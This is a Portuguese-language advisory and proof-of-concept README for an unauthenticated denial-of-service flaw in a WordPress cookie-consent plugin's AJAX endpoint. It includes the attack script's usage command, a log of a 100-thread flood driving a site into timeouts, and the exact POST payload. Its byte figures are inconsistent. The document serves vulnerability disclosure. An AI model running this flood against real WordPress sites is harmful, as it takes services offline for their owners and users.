
Controle de Acesso Incorreto na funcionalidade de endpoint AJAX no plugin Cookies and Content Security Policy de jonkastonka até a versão 2.29
Controle de Acesso Incorreto na funcionalidade de endpoint AJAX no plugin jonkastonka Cookies and Content Security Policy até a versão 2.29 permite que atacantes remotos causem negação de serviço (exaustão de recursos do servidor de banco de dados) por meio de operações ilimitadas de gravação no banco de dados no endpoint wp_ajax_nopriv_cacsp_insert_consent_data.
A vulnerabilidade existe na função cacsp_insert_consent_data(), que é exposta por meio do endpoint AJAX do WordPress (wp-admin/admin-ajax.php) sem requisitos de autenticação. O plugin usa a ação wp_ajax_nopriv_, tornando-a acessível a usuários não autenticados.
Vetor de Ataque: Atacantes remotos podem enviar solicitações POST concorrentes ilimitadas para sobrecarregar o servidor de banco de dados com operações de gravação, causando exaustão de CPU e I/O de disco.
requestsmatplotlibthreadingO uso básico do script PoC é o seguinte:
python payload.py --target <target_url> --threads <number_of_threads>
Por padrão, o número de threads é definido como 100. Você pode especificar um número diferente de threads fornecendo-o como segundo argumento.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
O exploit envia solicitações POST para /wp-admin/admin-ajax.php com:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
Cada solicitação bem-sucedida insere uma nova linha no banco de dados contendo:
Resultado: ~89 bytes por solicitação × solicitações ilimitadas = crescimento rápido do banco de dados
Este PoC é apenas para fins educacionais. O autor não é responsável por qualquer uso indevido ou dano causado pelo uso deste código. Sempre obtenha permissão antes de testar qualquer sistema.